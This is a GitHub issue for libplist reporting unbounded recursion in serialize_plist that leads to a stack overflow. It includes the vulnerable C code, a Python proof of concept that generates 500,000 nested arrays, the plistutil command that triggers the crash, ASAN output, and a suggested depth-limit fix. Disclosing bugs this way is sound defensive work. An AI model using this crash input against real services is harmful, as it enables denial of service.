Skip to content

A stack overflow in bplist.c #291

@unbengable12

Description

@unbengable12

Description

When serializing the plist, the recursion depth of serialize_plist was not restricted, resulting in a stack overflow.

plist_err_t plist_to_bin(plist_t plist, char **plist_bin, uint32_t * length)
{
    [...]
    serialize_plist((node_t)plist, &ser_s);
    [...]
}
static void serialize_plist(node_t node, void* data)
{
    uint64_t *index_val = NULL;
    struct serialize_s *ser = (struct serialize_s *) data;
    uint64_t current_index = ser->objects->len;

    //first check that node is not yet in objects
    void* val = hash_table_lookup(ser->ref_table, node);
    if (val)
    {
        //data is already in table
        return;
    }
    //insert new ref
    index_val = (uint64_t *) malloc(sizeof(uint64_t));
    assert(index_val != NULL);
    *index_val = current_index;
    hash_table_insert(ser->ref_table, node, index_val);

    //now append current node to object array
    ptr_array_add(ser->objects, node);

    //now recurse on children
    node_t ch;
    for (ch = node_first_child(node); ch; ch = node_next_sibling(ch)) {
        serialize_plist(ch, data);
    }
}

PoC

cnt = 500000
prefix = "<array>"
suffix = "</array>"
plist = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
""" + prefix * cnt + suffix * cnt + "</plist>"
with open("1.plist", "w") as f:
    f.write(plist)
plistutil -i 1.plist -f bin

ASAN Output

AddressSanitizer:DEADLYSIGNAL
=================================================================
==2209054==ERROR: AddressSanitizer: stack-overflow on address 0x7fffbfc26fe0 (pc 0x7d5f702d58c1 bp 0x000000000000 sp 0x7fffbfc26fd0 T0)
    #0 0x7d5f702d58c1 in __sanitizer::StackDepotNode::hash(__sanitizer::StackTrace const&) ../../../../src/libsanitizer/sanitizer_common/sanitizer_stackdepot.cpp:54
    #1 0x7d5f702d58c1 in __sanitizer::StackDepotBase<__sanitizer::StackDepotNode, 1, 20>::Put(__sanitizer::StackTrace, bool*) ../../../../src/libsanitizer/sanitizer_common/sanitizer_stackdepotbase.h:104
    #2 0x7d5f702d53cb in __sanitizer::StackDepotPut(__sanitizer::StackTrace) ../../../../src/libsanitizer/sanitizer_common/sanitizer_stackdepot.cpp:98
    #3 0x7d5f7022c50a in __asan::Allocator::Allocate(unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType, bool) ../../../../src/libsanitizer/asan/asan_allocator.cpp:573
    #4 0x7d5f7022819a in __asan::asan_malloc(unsigned long, __sanitizer::BufferedStackTrace*) ../../../../src/libsanitizer/asan/asan_allocator.cpp:980
    #5 0x7d5f702b4861 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:146
    #6 0x7d5f70d64617 in hash_table_insert ../src/hashtable.c:80
    #7 0x7d5f70d7b893 in serialize_plist ../src/bplist.c:1019
    #8 0x7d5f70d7b8ef in serialize_plist ../src/bplist.c:1027
    #9 0x7d5f70d7b8ef in serialize_plist ../src/bplist.c:1027
    [...]
SUMMARY: AddressSanitizer: stack-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_stackdepot.cpp:54 in __sanitizer::StackDepotNode::hash(__sanitizer::StackTrace const&)
==2209054==ABORTING

Suggestion Repair

Create a variable to record the depth of the recursion. If it exceeds a certain depth, return an error.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions